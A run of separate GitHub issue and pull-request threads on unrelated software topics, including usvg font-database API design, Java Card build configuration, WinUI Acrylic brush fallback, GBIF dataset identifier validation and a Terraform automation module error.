To summarize: usvg needs a shared, thread-safe, mutable fontdb. What is the best to do it? I don't know.

I'm starting to think that perhaps the real solution to the problem is to extend fontdb is to introduce a Source type that allows the user to define how the font is loaded/mapped.

I would rather keep fontdb as a fancy Vec<Face> wrapper. It's already complicated enough.

@RazrFalcon would you still be opposed to it if those are all the changes that would be required? https://github.com/RazrFalcon/fontdb/compare/master...LaurenzV:fontdb:custom
I still have to test it, but there is a possibility that we don't need any changes at all in usvg if this could land.

I would rather keep fontdb as a fancy Vec wrapper. It's already complicated enough.

If something like this would be the only addition necessary, would you accept it? https://github.com/RazrFalcon/fontdb/compare/master...LaurenzV:fontdb:custom

@RazrFalcon continuing from before. My current approach would have been as follows: I think there are two additions to fontdb that could the make the whole thing easier:

Add a Source type that takes a callback instead of an Arc directly.
Add a way to store the coverage of a font in fontdb.

I've implemented a prototype here (the code for storing the coverage I "stole" from Typst): https://github.com/RazrFalcon/fontdb/compare/master...LaurenzV:fontdb:custom
If we have this, then I think all that would be needed is to change the fontback parser in usvg to use the coverage for finding a fallback font, instead of trying to load each font one after another to find a suitable one: https://github.com/RazrFalcon/resvg/commit/d92ab2067e84427048e35e2ad660e4addb4f69cd
I think this should work, although as I mentioned I haven't tested it in Typst yet. And I'm also not sure about the memory footprint of storing the coverage in that way.

That's a highly Typst-specific solution. I don't like it. fontdb should not be affected at all.

Functionality
Regarding functionality, I think this PR mostly works as-is, the only problem is that the database(&self) -> &Database method is incompatible with interior mutability (because the Ref can't be returned). I have made a branch based on this PR that instead uses a with_database method. To make it work with dynamic dispatch (no generics available) I had to come up with a bit of a workaround, basically:

Code
pub trait FontProvider {
    fn find_font(&self, font: &Font) -> Option<ID>;
    fn find_fallback_font(&self, c: char, base_font_id: ID, used_fonts: &[ID]) -> Option<ID>;
    fn with_database(&self, f: &mut dyn FnMut(&Database));
}

pub(crate) trait FontProviderExt {
    fn with_face_data<P, T>(&self, id: ID, p: P) -> Option<T>
    where
        P: FnOnce(&[u8], u32) -> T;

    ...
}

impl<F: FontProvider + ?Sized> FontProviderExt for F {
    fn with_face_data<P, T>(&self, id: ID, p: P) -> Option<T>
    where
        P: FnOnce(&[u8], u32) -> T,
    {
        let mut output = None;
        let mut p = Some(p);
        self.with_database(&mut |db| {
            if let Some(p) = p.take() {
                output = db.with_face_data(id, p);
            }
        });
        output
    }

    ...
}

Internally, only with_face_data is used and the FontProviderExt is just an implementation detail. The remaining changes on my branch are mostly just indent changing.
Design
The remaining question is whether the design of this PR is satisfactory to you.

But the user stores fontdb already. Nothing changes here. And the Options trait would have fontdb as an argument.
Basically:
 pub type FontResolverFn = Box<dyn Fn(&Font, &fontdb::Database) -> Option<ID> + Send + Sync>;
 Wouldn't this work?

I think immutable access to the database doesn't suffice as it needs to be populated. I'm not sure how exactly you're envisioning Arc usage here, but I think a trait object is actually a fairly nice solution and it requires no deep cloning (for reference, here is the implementation in Typst based on my branch).
And then, there is the question of how to handle font fallback, which is also fairly simple in the trait object design.
I would also like to note that something nice about the design in this PR is that dyn FontProvider doesn't need to be 'static (which is actually necessary in Typst). So if some other route was taken, it'd be nice if that could have a lifetime (which the ImageHrefResolver doesn't currently support). This would likely require Options to have a lifetime.

I think immutable access to the database doesn't suffice as it needs to be populated.

Yes, there should be a mutable reference there. But your trait is immutable as well, no? find_font should be able to insert a font into the database.

I used interior mutability for that, which requires the whole dance with with_database and dynamic dispatch. If usvg can just provide a mutable reference instead that'd be much better. I did briefly attempt that, but it looked like it would required larger changes to usvg, which I shied away from.
The trait methods could perhaps also be multiple Box<dyn Fn(..)> for font lookup and fallback, but it's probably harder to implement for users because the normal lookup and the fallback might want to share some state. And as mentioned above, for Typst to be able to implement it, it would require a lifetime on the Fn trait object.

I used interior mutability for that, which requires the whole dance with with_database and dynamic dispatch.

I do not understand how it would work. Can you provide an example?
Af for lifetimes, boxes and traits - it's not the important part. The important part is having a shared, mutable fontdb. Which is only possible with Arc. Which already requires some changes to the usvg. I guess we should store it in Options and not pass as an argument. This is how I innovation it.
A reminder that embedded SVG fonts are also planned. Meaning that usvg should be able to modify insert/delete fonts from fontdb on it's own.

I do not understand how it would work. Can you provide an example?

See my branch of resvg and my linked implementation in Typst. It's really just a RefCell in the FontProvider implementation. But this was mostly just to make it work with &self. If usvg can pass it mutably, all of that is moot.

The important part is having a shared, mutable fontdb. Which is only possible with Arc.

Do you mean just Arc or something like Arc<Mutex<..>>? Since just Arc wouldn't give mutability. I'm not sure what an Arc<Mutex<..>>-based design gives over just &mut Database, could you elaborate on that? Which different parts of the code need to hold on to it at the same time? Maybe I'm missing something regarding usvg internals.
If usvg would have an &mut Database in its Options and mutably pass it to the resolver, that would work for me. The downside would be that consumers that don't need the mutable aspect couldn't share a Database across multiple threads. But embedded SVG fonts would be a problem for this anyway, I think (especially with an Arc<Mutex<..>>-based design).
Another small missing piece is to let Database::push_face_info return the ID it generated, but it is trivial.

I genuinely never used RefCell outside Rc, therefore I wasn't familiar with this pattern. But I guess it might work.

Do you mean just Arc or something like Arc<Mutex<..>>? Since just Arc wouldn't give mutability.

Arc<Database> specifically, because each usvg::Tree::from_data must be able to modify it's own copy if needed.
Let's say we're parsing two SVG files from two threads using a single fontdb. If each file has embedded fonts then each usvg parser has to have its own deep-copy of fontdb to perform db modification and query. A shared DB would not work.
To allow this I suggest storing Arc<Database> in usvg::Options which would be deep-cloned when needed.
Maybe there is a better solution - I don't know.
Basically, my solution is to treat the provided Database as the "base" database which would be modified by the parser in whatever way it wants. The parser would basically consume the provided db instead of sharing it like right now.
And the reason I don't want to have internal db to begin with is that cloning a db with system fonts loaded is way faster then loading fonts in each parser call.

I see now. That makes sense. I think Arc<Database> in Options could work out nicely and the deep-copy case would really only be hit when (a) sharing a db across multiple threads, (b) having embedded fonts in the SVG. And since usvg::Source is cheap to clone, it should not be that expensive. It would nicely account for the case of a simple prepared database, parallel parsing, and also accommodate Typst's case where the options would always start out with an empty database, which is filled via the callbacks.
I assume that then the parser would do Arc::make_mut on the database before calling the font lookup function with (&Font, &mut Database) -> Option<ID>, right?

@laurmaedje Yep. That's the general idea.
As for make_mut, I'm not sure this exact method would be used, but yes, something like that.

@RazrFalcon I have a working implementation of the Arc-approch on this branch. I implemented it exactly like ImageHrefResolver. I also added lifetimes so that it's possible to implement these providers in non-'static scenarios. I think it works pretty well and actually simplifies things a bit. If this looks like you envisioned, then I would polish it up a bit and make a PR.
Here is small overview of the changes:

The Options now contain an Arc<Database> and a new FontResolver<'a>
The ImageHrefResolver is now ImageHrefResolver<'a> (since it might as well). With the default resolvers, you just get Options<'static>
The resolver functions take &mut Arc<Database>, so they can mutate the database with Arc::make_mut if necessary, but if they don't need to add a font, we don't force the database to be cloned. When polishing up, I would add more docs to explain to API users how they are supposed to deal with this Arc.
For each tree conversion, we have an Arc<Database> in the Cache, which is populated over the course of conversion. It is only cloned if fonts are actually added.
The database from the Cache is moved into the Tree after conversion and users can access it with tree.fontdb() to make sense of the IDs in their Spans.
Sub-SVGs start with a fresh database from the Options. The database in the Options is never mutated (it's &Options after all)
We can remove of all the cfg-ed fontdb arguments everywhere

Looks really good! Thanks! I will accept this PR.

The database from the Cache is moved into the Tree after conversion and users can access it with tree.fontdb() to make sense of the IDs in their Spans.

Haven't even considered it...

Deprecated in favor of #769


Fix EVChargeCurrent,ChargeCurrent on MQTT

EVChargeCurrent,ChargeCurrent are sending max values instead of actual ones if ChargeCurrentOverride is not set.

Thanks for your contribution, you are absolutely right. How about we remove EVChargeCurrent since it is a duplicate of ChargeCurrent? It only confuses people....

I'd also say it's better to remove EVChargeCurrent, as Current and CurrentOverride form a better matching pair.


Code optimization + perfomance optimization

v1.0.1 code is a bit messy. I will update it in the future.

done


Updated: atom-nightly 1.44.0-nightly0

${}

057caad7-e616-4612-9091-721fea6290ff

Newer version of atom-nightly (1.44.0-nightly1) is now available in master. c0c121ba3366130eca6f1aa35915f5c6f9df8645


.github: create cache directories on cache miss

ON a cache miss, the cache directories don't exist which makes the CI build image to fail. Adding this missing step to recreate the cache directories on cache misses will prevent the CI build from failing.
Fixes: c6b999b70863 (".github: simplify cache usage in docker images")

/test


character editor crash

Describe your bug here.
whenever I go into the character editor and try to load my png to make a json file I press reload image, it freezes, then it crashes. Please help
Command Prompt/Terminal logs (if existing)
No response
Are you modding a build from source or with Lua?
Source
What is your build target?
Windows
Did you edit anything in this build? If so, mention or summarize your changes.
no

don't label this as a bug if you're not going to provide details, either your png is wrong or you typed the png directory incorrectly

if it helps my sprite sheet is 1 frame poses cuz I wanted to test them
also it worked before and then just stopped working
hope this help

Character .json and texture .XML files would help more

i cant make the json file cuz the png wont load but i can send the xml

chchchchchchchchchch.zip
here

it's working fine here so this is probably something you did wrong when loading the image, or the image is too big for your PC

How did you do caps it the image file name
it wont let me do that
if your pasting it it wont let me do that ether

well just found out i have to hold shift but thank you anyway


Tweaks to importer

I had identified two problems with the importer:

It only accepted arrays, while the legacy version of Cockpit outputs objects.
It did not create a complete list of column headers from the input object. Previously we were only checking the first item in the collection, however the legacy version of Cockpit sometimes outputs items that do not contain keys for optional fields; some items may have keys that others do not.

These commits should address both of these issues.
Additional changes:
Under some circumstances, the importer was incorrectly establishing collection links with the first entry in the collection. That is fixed.
I have also added the ability for the collection link import filter to grab lookup value out of an object, if the same key exists there.

Thanks!


Not working on macos since upgrading from v1 to v2

Since upgrading from v1.1.11 to v2.0.2 I'm getting this error now:
    System.MissingMethodException     Method not found: 'Int32 SQLitePCL.raw.sqlite3_create_collation(SQLitePCL.sqlite3, System.String, System.Object, SQLitePCL.delegate_collation)'.     at SQLitePCL.pretty.SQLiteDatabaseConnectionBuilder.Build()     at SQLitePCL.pretty.SQLite3.OpenInMemory()
The target/host is netcoreapp3.0 running on Mac OSX 10.15.7.
Any ideas on how to work around this issue?

Check the release notes for 2.0:  https://github.com/ericsink/SQLitePCL.raw/blob/master/v2.md
Make sure you don't have any 1.x packages still involved.

Spot on @ericsink, I went through my target's project.assets.json and tracked down all the SQLitePCLRaw v1 implicit dependencies.  Issue was SQLitePCL.pretty still references SQLitePCLRaw v1 but I replaced it with an upgraded fork called SQLitePCL.pretty.netstandard which references SQLitePCLRaw v2, now I no longer get the error.
Cheers!


1.5 is no longer supported. Use 1.6 or later.

[compile] error: Source option 1.5 is no longer supported. Use 1.6 or later.
[compile] error: Target option 1.5 is no longer supported. Use 1.6 or later.
change this to 1.6 will solve the issue
https://github.com/martinpaljak/ant-javacard/blob/ee3de2443a6fdfdf95ac79f58f59efc6f9e38fd3/src/main/java/pro/javacard/ant/JCKit.java#L99

Why was this issue closed? Should we use a preferred JDK version instead?

Use a more recent converter with targetsdk option.

Hi,
I have a similar problem with Java 13.0.1, ant 10.1.7 and Java Card SDK 3.0.5u3.
I'm trying to build the Java Card Helloworld example as:
    <javacard jckit="${JC305}">
      <!-- Hello World Applet -->
      <cap targetsdk="${JC222}" aid="48656C6C6F576F726C64" package="helloworld"
           version="1.0" output="build/helloworld.cap" sources="src/helloworld">
        <applet class="helloworld.HelloWorld" aid="48656C6C6F576F726C64417070"/>
      </cap>
    </javacard>

The ant constant value ${JC305} points out javacard 3.0.5u3 sdk folder and ${JC222} constant value the Javacard 2.2.2 sdk folder.
After an ant build, I have this error:
build:
      [cap] INFO: using JavaCard 3.0.5 SDK in /home/stroumph/work/TP-Java_Card/applets/sdks/jc305u3_kit
      [cap] INFO: targeting JavaCard 2.2.2 SDK in sdks/jc222_kit
      [cap] Building CAP with 1 applet from package helloworld (AID: 48656C6C6F576F726C64)
      [cap] helloworld.HelloWorld 48656C6C6F576F726C64417070
  [compile] Compiling files from /home/stroumph/work/TP-Java_Card/applets/src/helloworld
  [compile] Compiling 1 source file to /tmp/jccpro13153822473430201991
  [compile] error: Source option 6 is no longer supported. Use 7 or later.
  [compile] error: Target option 6 is no longer supported. Use 7 or later.

@Stroumph Were you able to fix that? I am running into the same problem here...

@asdfjkl Match your javacard kit with the right JDK, based on https://github.com/martinpaljak/ant-javacard/wiki/Version-compatibility

Will have to amend the readme as this is a common isaue

@martinpaljak Thanks very much for explaining. The error message was difficult to interpret for me...

@martinpaljak Thanks, again.
If there is someone struggling like myself, and until there is a tutorial, just a quick note / explanation. In my setup I wanted to use an old javacard, which has only 2.2.2. Here is my build.xml.
Essentially:

linked the jc 2.2.2 extlibs in the project (this is just to ensure that eclipse doesn't underline all code)
set javacrad kit to 3.0.4 (libs in subdir /extlib/jc304_kit)
set targetsdk to 2.2.2 (libs in subdir /extlib/jc222_kit)

<?xml version="1.0" encoding="UTF-8"?>
<project basedir="." default="buildcap" name="Hello-World-Applet">
  <!-- Applet building dependencies -->

  <property name="JC222" value="extlibs/jc222_kit"/>
  <property name="JC304" value="extlibs/jc304_kit"/>

  <!-- ant-javacard task from javacard.pro -->
  <taskdef name="javacard" classname="pro.javacard.ant.JavaCard" classpath="tools/ant-javacard.jar"/>

  <!-- target javacard 2.2.2 -->
  <target name="buildcap">
  	<delete file="cap/hw.cap"/>
    <!-- <javacard jckit="extlibs/jc222_kit/"> -->
  	<javacard jckit="${JC304}">
      <cap targetsdk="${JC222}" output="cap/hw.cap" aid="D276000132" sources="src">
        <applet class="de.asdfjkl.helloworld.javacard.MainApplet" aid="D27600013268776F"/>
      </cap>
    </javacard>
  </target>

 <!-- Install Applet -->
 <target name="install" depends="buildcap">
    <exec executable="/bin/bash">
  	  <arg value="scripts/install+personalize.sh"/>
  	</exec>
 </target>

</project>

PS: I think it would be nice to have some (maybe one for 2.2.2, one for 3.0.4, one for 3.0.5 as these three seems to cover most typical cards out there, at least the ones I encountered) demo/sample projects + tutorial, that can be easily imported into eclipse. @martinpaljak  In case you agree, I'd be willing to contribute some...

Just fyi, I've added a JavaCard Hello World + tooling howto using GPPro and ant-javacard @ https://github.com/asdfjkl/JCHelloWorld


Fix Dependabot configuration

Codecov Report

Merging #115 (f95d7dc) into main (ef9eebc) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##              main      #115   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files           16        16
  Lines          733       733
=========================================
  Hits           733       733

:mega: Codecov can now indicate which changes are the most critical in Pull Requests. Learn more


Public Key Pinning

For the TLS connection used can you use Key Pinning of the servers public TLS certificate?
(like it's also done in the app)
I've heard that it is possible with a few versions of curl, so can you at least implement it for those? So that - if it's possible - public key pinning is used?

Update: Currently it seems quite impossible as PHP currently has no support for the cURL version which supports public key pinning. Additionally they need to implement the option.
See: https://stackoverflow.com/questions/27112356/tls-public-key-pinning-with-php-curl
https://bugs.php.net/bug.php?id=68575&thanks=6
So unless [this feature request] (https://bugs.php.net/bug.php?id=68575) is implemented it won't be possible.
(Note that you can vote the feature request up, if you like it... :smiley:)


Fix computation of fee in cpfp feerate estimator

If user attempts a cpfp with a smaller target feerate than the feerate of the existing ancestors, the projected feerate would be negative. This is why we correct it by taking the max between the requested feerate and the projecte feerate.
But we forgot to do that for the absolute fee value.

I don't think this is relevant for CPFP, because we simply shouldn't do any CPFP in that case, right?
However, I see why it could be useful for splice-out, where the user may want to use a smaller feerate than the ancestor feerate (because they're not trying to CPFP, they're just making an on-chain payment).

Correct, this is mainly fixing the fee presented to the user when they attempt a splice-out.

I don't think this is relevant for CPFP, because we simply shouldn't do any CPFP in that case, right?

We now check in Phoenix (android at least) that the effective feerate would not be below what the user intends (@robbiehanson see this commit). I think that will prevent such issues from happening.


⚠ Bofrost.at has degraded performance

In 0d13611, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 3290 ms

Resolved: Bofrost.at performance has improved in 1c6dc3f after 13 minutes.


Reveal, Acrylic, etc. always use the fallback color when using WinUI in a custom control hosted in a Win32 Desktop Application

Describe the bug
Whenever a XamlCompositionBrushBase is used from Microsoft.UI.Xaml.Media after following the steps at Custom XAML Control, all of the brushes use their fallback color instead of the correct color. This does not happen when using XamlCompositionBrushBase brushes from Windows.UI.Xaml.Media
Steps to reproduce the bug

Follow the steps at Custom XAML Control
Set the background of the custom control to an AcrylicBrush from Microsoft.UI.Xaml.Media using HostBackdrop.
Build and run the program. Notice how the brush always uses the fallback color.
Try again, but with AcrylicBrush from Windows.UI.Xaml.Media. But now, notice how the brush works and does not use fallback.
You can also test the above steps with a RevealBorderBrush, reveal brushes from Microsoft.UI.Xaml.Media also always use the fallback color.

Expected behavior
The XamlCompositionBrushBase should work just like the platform brush;it should not always use the fallback color.
Version Info
WinUI Version: 2.4.0-prerelease.200422001 (using prerelease because my application is unpackaged)
Windows 10 version 1909 OS Build 18363.778
Desktop Only
NuGet package version:
Microsoft.UI.Xaml: 2.4.0-prerelease.200422001

Is there any progress investigating this issue?

Update on the issue: Even when using the platform control brush, the brushes always use fallback. I found out that excluding XamlControlsResources from the App resources solves the problem.

Apologies about the delay here - I somehow lost track of this issue, and thankfully was reminded now. The behavior you describe is by design. AcrylicBrush & RevealBrush/Lights require a good deal of extra handling to work correctly on islands (eg reflecting island-level DPI changes, reacting to island activation (HostBackdrop Acrylic), showing expected RevealBorder lighting on island approach, among other issues). In addition, there is a class of issues specific to A/R brushes shared across islands. In WinUI 2.x, this support is not present at this time, so when used in an island, the Microsoft.UI.Xaml.* brushes immediately go into fallback mode.
It's an insightful observation that the OS versions (Windows.UI.Xaml.*) of the brushes do work - Acrylic/Reveal is supported in Windows.UI.Xaml.Controls.dll on 19H1+, with the requirement that brushes are not shared across islands (once that happens, they go into fallback). It's technically possible to use those in a Win UI 2.x app to get a level of A/R on islands support, but this is not recommended as it can easily lead to confusion and a disjointed "zebra" Fluent experience - more recent controls originating in WinUI don't have counterparts in Windows.UI.Xaml.Controls.dll and would end up using A/R brushes from Microsoft.UI.Xaml.Controls.dll that render with the fallback color.
Our intention is to bring proper support for island Acrylic and Reveal in a future release of WinUI. If this functionality is particularly important for you, please let us know - we are looking for feedback to gauge interest in this area.

@DmitryKomin Acrylic is possibly the single most iconic design element of Fluent Design and WinUI.  WinUI 3 seems like it will launch without support for HostBackdrop Acrylic initially, as extricating it from the OS appears to be a technical challenge still to be figured out.

Finally, thanks for your response @DmitriyKomin I feel like fluent brushes, especially Acrylic and Reveal are important to XAML islands, as it prevents the "zebra" fluent experience you mentioned across multiple apps running on the operating system.
Also, I don't fully understand the the "isolation from the OS" initiative of WinUI 3. How can we separate WinUI from the underlying OS? We need OS functionality because WinUI is rendered by DirectX... I don't see how we can "decouple" from the OS, because nothing would function if we did. If anybody can clarify that that'd be great.

Finally, thanks for your response @DmitriyKomin I feel like fluent brushes, especially Acrylic and Reveal are important to XAML islands, as it prevents the "zebra" fluent experience you mentioned across multiple apps running on the operating system.
Also, I don't fully understand the the "isolation from the OS" initiative of WinUI 3. How can we separate WinUI from the underlying OS? We need OS functionality because WinUI is rendered by DirectX... I don't see how we can "decouple" from the OS, because nothing would function if we did. If anybody can clarify that that'd be great.

Well they are taking the Xaml parsing, rendering and controls that live in the Windows.UI.Xaml namespace right now, and making it a stand alone framework in Microsoft.UI.Xaml.
That means the code will be made open source, and anything that relies on undisclosed OS code - is being re-written.
The idea behind it is to enable the community to add features outside of OS updates, downport controls and features to older OS versions (possibly even Windows 8.1), and to enable both Win32 apps and UWP apps to use the same UI.
There is also a broader project called Project Reunion which is about creating wrapped APIs that both UWP and Win32 apps will be able to use.

Update: Using the latest WinUI 3 preview in a Desktop Application does the same thing: No reveal and no acrylic.
Is this issue dead for now?

I don't know why Microsoft keeps avoiding answering the question on having a faux acrylic to cover HostBackdrop Acrylic until the problem is fully fixed.

@DmitriyKomin If possible, can the brushes use their normal mode if the parent of the XAML Desktop Window correctly handles things like activation requests, dpi changes, etc?
@shaheedmalik It's pretty clear that HostBackdrop Acrylic won't and cannot be decoupled from the OS, (I hope they prove me wrong) because it depends on DirectComposition and the DirectX frame buffer & swapchain.

@DmitriyKomin If possible, can the brushes use their normal mode if the parent of the XAML Desktop Window correctly handles things like activation requests, dpi changes, etc?
@shaheedmalik It's pretty clear that HostBackdrop Acrylic won't and cannot be decoupled from the OS, (I hope they prove me wrong) because it depends on DirectComposition and the DirectX frame buffer & swapchain.

Then a faux acrylic brush needs to be made to fill in for it in WinUI3.

I have advocated for a FauxCrylic mode being added, but rather than be seen as a stop gap, it should be used as a performance mode, so the development time and effort can be better justified, and Tablet Mode on devices like the Surface Go will benefit from not being full of Fallback Solid Colours.
If it persists after Live Acrylic is restored for WinUI 3.X - then the work  does not go to waste, as the performance mode can still be there, and still be useful.

I have advocated for a FauxCrylic mode being added, but rather than be seen as a stop gap, it should be used as a performance mode, so the development time and effort can be better justified, and Tablet Mode on devices like the Surface Go will benefit from not being full of Fallback Solid Colours.
If it persists after Live Acrylic is restored for WinUI 3.X - then the work does not go to waste, as the performance mode can still be there, and still be useful.

I 10000% agree with this. It should replace the current battery mode.

Woah, that's a great idea - using FauxCrylic as fallback! (is it FauxCrylic or FauxAcrylic)?

I 10000% agree with this. It should replace the current battery mode.

If not replace, then be an intermediate option on lower performance modes and Tablet Modes.
The Solid Colour fallback is a good idea for the lowest spec or for Transparency turned off in system settings


Export CC_FOR_BUILD additionally to CC in C builds

CC_FOR_BUILD is a common build variable to specify a "build compiler",
i.e., a compiler that creates binaries that run on the compiling host
(instead of the  target system when cross-compiling). This commit ensures
that clang as a build compiler when compiler: clang is set.
[0] https://www.gnu.org/software/autoconf-archive/ax_prog_cc_for_build.html

Hello. Please open a corresponding documentation PR. Thank you for your contribution!

Done

Will deploy Tuesday.

Sorry, I pressed "Update branch" here but not sure if it was a good idea. Feel free to ignore the merge commit of course.

Everything alright with this? The corresponding documentation PR was merged but this one wasn't.
I can force-push here to make that unnecessary merge commit disappear if you would like.

@real-or-random no worries about the merge commit :+1: I'll merge this shortly.


CLI command to list all routes

🚀 Feature request
Command (mark with an x)

New command
Description
 A clear and concise description of the problem or missing capability...
I feel the need to list all routes through a CLI command
Describe the solution you'd like
 If you have a solution in mind, please describe it.
ng route list --depth=3
Describe alternatives you've considered
 Have you considered any alternative solutions or workarounds?
Manually go through all my modules to see if there is somehow a mismatch in a route, causing the wrong angular component to be rendered.

@MintPlayer I'd suggest to keep this outside of the CLI's scope. For the purpose you can already use the guess-parser. You can achieve this with:
import { parseAngularRoutes } from 'guess-parser';

console.log(parseAngularRoutes('tsconfig.app.json'));


Identifiers validation failed for dataset Inventario nacional de especies vegetales y animales de uso artesanal

Identifier validation failed for the dataset Inventario nacional de especies vegetales y animales de uso artesanal:

Crawler attempt: 307
Publishing organization: Comisión nacional para el conocimiento y uso de la biodiversidad
Publishing country: MEXICO
Installation: IPTCONABIO
Number of occurrences indexed for this dataset at the time of the issue: 1711
Cause: GBIF ID problems exceed 50% threshold: 100% duplicates; 1711 total records; 1711 absent records
Pipelines execution steps: http://api.gbif.org/v1/pipelines/history/execution/3740246/step

New IDs sample:

Old IDs sample:

18f142419a8870140ad21b4ceccc308b
28afa9bdd39493902cad0db453968562
32d997ca46a45bfdea1fb921dae581d9
439840648a2b0a2d953f3942809b38a9
5abafc82b64d950b2b3a6871937b45d8
5f7ed9203c6ad7fb5be998fa3de172fd
7b1892acdf9394880230db4e99d360fb
8e0fc910a85b8ce5826580b51e6bea9e
a156fdcf19aa844ad489032c5b3e0b01
a27d31b04f55e4b445752fd1a3217f5d

Publisher email
Hello,
I am contacting you from the GBIF Secretariat about a dataset published by the Inventario nacional de especies vegetales y animales de uso artesanal : https://doi.org/10.15468/9j2avl.
We noticed that the occurrenceIDs were changed. We have temporarily paused the ingestions of this dataset.
As you might already know, when an occurrence record has a new occurrenceID for a given dataset, our system considers it to be a new occurrence.
This means that it will be given a new gbifid and a new occurrence URL (like this one: https://www.gbif.org/occurrence/1252968762) and the old gbifid and URL will be deprecated.
In this case, this means that the occurrence URLs would be deprecated when ingesting the newest versions of these datasets.
We would like to check with you if those changes were intentional. Do you know if this is the case?
Please let us know, thanks! We are happy to resume the dataset ingestion.
Note that some users rely on those occurrence URLs and gbifids (like https://bionomia.net for example). In an attempt to improve
the stability of the occurrence URLs and gbifids, we have implemented a warning system to detect these type of changes in datasets (see this news item).
If the data publisher can provide us with a list of old and new occurrenceIDs per record, we can avoid the identifier and URL changes. Could that be an option?
Please let us know if you have any question. Thanks!
All the best,

You can skip/fix identifier validation using the registry UI.

Identifier validation still  failing for the dataset Inventario nacional de especies vegetales y animales de uso artesanal:

Crawler attempt: 308
Publishing organization: Comisión nacional para el conocimiento y uso de la biodiversidad
Publishing country: MEXICO
Installation: IPTCONABIO
Number of occurrences indexed for this dataset at the time of the issue: 1711
Cause: GBIF ID problems exceed 50% threshold: 100% duplicates; 1711 total records; 1711 absent records
Pipelines execution steps: http://api.gbif.org/v1/pipelines/history/execution/3741145/step

New IDs sample:

Old IDs sample:

18f142419a8870140ad21b4ceccc308b
28afa9bdd39493902cad0db453968562
32d997ca46a45bfdea1fb921dae581d9
439840648a2b0a2d953f3942809b38a9
5abafc82b64d950b2b3a6871937b45d8
5f7ed9203c6ad7fb5be998fa3de172fd
7b1892acdf9394880230db4e99d360fb
8e0fc910a85b8ce5826580b51e6bea9e
a156fdcf19aa844ad489032c5b3e0b01
a27d31b04f55e4b445752fd1a3217f5d

Publisher email
Hello,
I am contacting you from the GBIF Secretariat about a dataset published by the Inventario nacional de especies vegetales y animales de uso artesanal : https://doi.org/10.15468/9j2avl.
We noticed that the occurrenceIDs were changed. We have temporarily paused the ingestions of this dataset.
As you might already know, when an occurrence record has a new occurrenceID for a given dataset, our system considers it to be a new occurrence.
This means that it will be given a new gbifid and a new occurrence URL (like this one: https://www.gbif.org/occurrence/1252968762) and the old gbifid and URL will be deprecated.
In this case, this means that the occurrence URLs would be deprecated when ingesting the newest versions of these datasets.
We would like to check with you if those changes were intentional. Do you know if this is the case?
Please let us know, thanks! We are happy to resume the dataset ingestion.
Note that some users rely on those occurrence URLs and gbifids (like https://bionomia.net for example). In an attempt to improve
the stability of the occurrence URLs and gbifids, we have implemented a warning system to detect these type of changes in datasets (see this news item).
If the data publisher can provide us with a list of old and new occurrenceIDs per record, we can avoid the identifier and URL changes. Could that be an option?
Please let us know if you have any question. Thanks!
All the best,

You can skip/fix identifier validation using the registry UI.

Identifier validation still  failing for the dataset Inventario nacional de especies vegetales y animales de uso artesanal:

Crawler attempt: 310
Publishing organization: Comisión nacional para el conocimiento y uso de la biodiversidad
Publishing country: MEXICO
Installation: IPTCONABIO
Number of occurrences indexed for this dataset at the time of the issue: 1711
Cause: GBIF ID problems exceed 50% threshold: 100% duplicates; 1711 total records; 1711 absent records
Pipelines execution steps: http://api.gbif.org/v1/pipelines/history/execution/3741749/step

New IDs sample:

Old IDs sample:

18f142419a8870140ad21b4ceccc308b
28afa9bdd39493902cad0db453968562
32d997ca46a45bfdea1fb921dae581d9
439840648a2b0a2d953f3942809b38a9
5abafc82b64d950b2b3a6871937b45d8
5f7ed9203c6ad7fb5be998fa3de172fd
7b1892acdf9394880230db4e99d360fb
8e0fc910a85b8ce5826580b51e6bea9e
a156fdcf19aa844ad489032c5b3e0b01
a27d31b04f55e4b445752fd1a3217f5d

Publisher email
Hello,
I am contacting you from the GBIF Secretariat about a dataset published by the Inventario nacional de especies vegetales y animales de uso artesanal : https://doi.org/10.15468/9j2avl.
We noticed that the occurrenceIDs were changed. We have temporarily paused the ingestions of this dataset.
As you might already know, when an occurrence record has a new occurrenceID for a given dataset, our system considers it to be a new occurrence.
This means that it will be given a new gbifid and a new occurrence URL (like this one: https://www.gbif.org/occurrence/1252968762) and the old gbifid and URL will be deprecated.
In this case, this means that the occurrence URLs would be deprecated when ingesting the newest versions of these datasets.
We would like to check with you if those changes were intentional. Do you know if this is the case?
Please let us know, thanks! We are happy to resume the dataset ingestion.
Note that some users rely on those occurrence URLs and gbifids (like https://bionomia.net for example). In an attempt to improve
the stability of the occurrence URLs and gbifids, we have implemented a warning system to detect these type of changes in datasets (see this news item).
If the data publisher can provide us with a list of old and new occurrenceIDs per record, we can avoid the identifier and URL changes. Could that be an option?
Please let us know if you have any question. Thanks!
All the best,

You can skip/fix identifier validation using the registry UI.


Search does not link back to the project for mkdocs

Original issue https://github.com/sequelize/sequelize/issues/4611
Search in itself is working fine, so I didn't want to post in the other mkdocs search related issues here - sorry if I just couldn't find the right issue.
The problem is that the search page e.g. https://readthedocs.org//search/?q=create&check_keywords=yes&area=default&project=sequelize&version=latest&type=file is linking to https://readthedocs.org/en/latest/api/model/?highlight=create, not https://sequelize.readthedocs.org/en/latest/api/model/?highlight=create
This happens both when searches are initiated from sequelize.readthedocs.org and from docs.sequelizejs.com

This may be related to some of the other mkdocs + search bugs we have open. We did make some recent changes to domain handling however. I'd start by double checking the domain settings for the project. I assume this is a problem with the search result page and domain resolution though.

Thanks for the response - domain settings look alright to me

We deployed a new method of domain resolution a while back, it looks like this is resolved. Feel free to reopen if you are noticing issues still.


Refactor automations_* ; Add automation_job_schedule submodule

Issue-1379
PR Checklist

[x] I have added example(s) inside the [./examples/] folder
[ ] I have added the example(s) to the integration test list for normal (~30 minutes) or long runner >30 minutes
[x] I have checked the coding conventions as per the wiki
[x] I have checked to ensure there aren't other open Pull Requests for the same update/change?

Description
See Issue-1379
Update to the latest PR-1360
Does this introduce a breaking change

[] YES
[x] NO

Testing

When running a plan for /tf/caf/examples/automation/104-automation-schedule-runbook/
I get the following error:
│ Error: Unsupported attribute
│
│   on ../modules/automation/automation_runbook/module.tf line 47, in locals:
│   47:   script_content = try(var.settings.script_file, null) != null ? file(var.settings.script_file) : var.settings.content
│     ├────────────────
│     │ var.settings is object with 8 attributes
│
│ This object does not have an attribute named "content".
╵
Terraform plan return code: 1
Error on or near line 386: Error running terraform plan; exiting with status 1

Could you please have a look @schoenr79?
Thanks

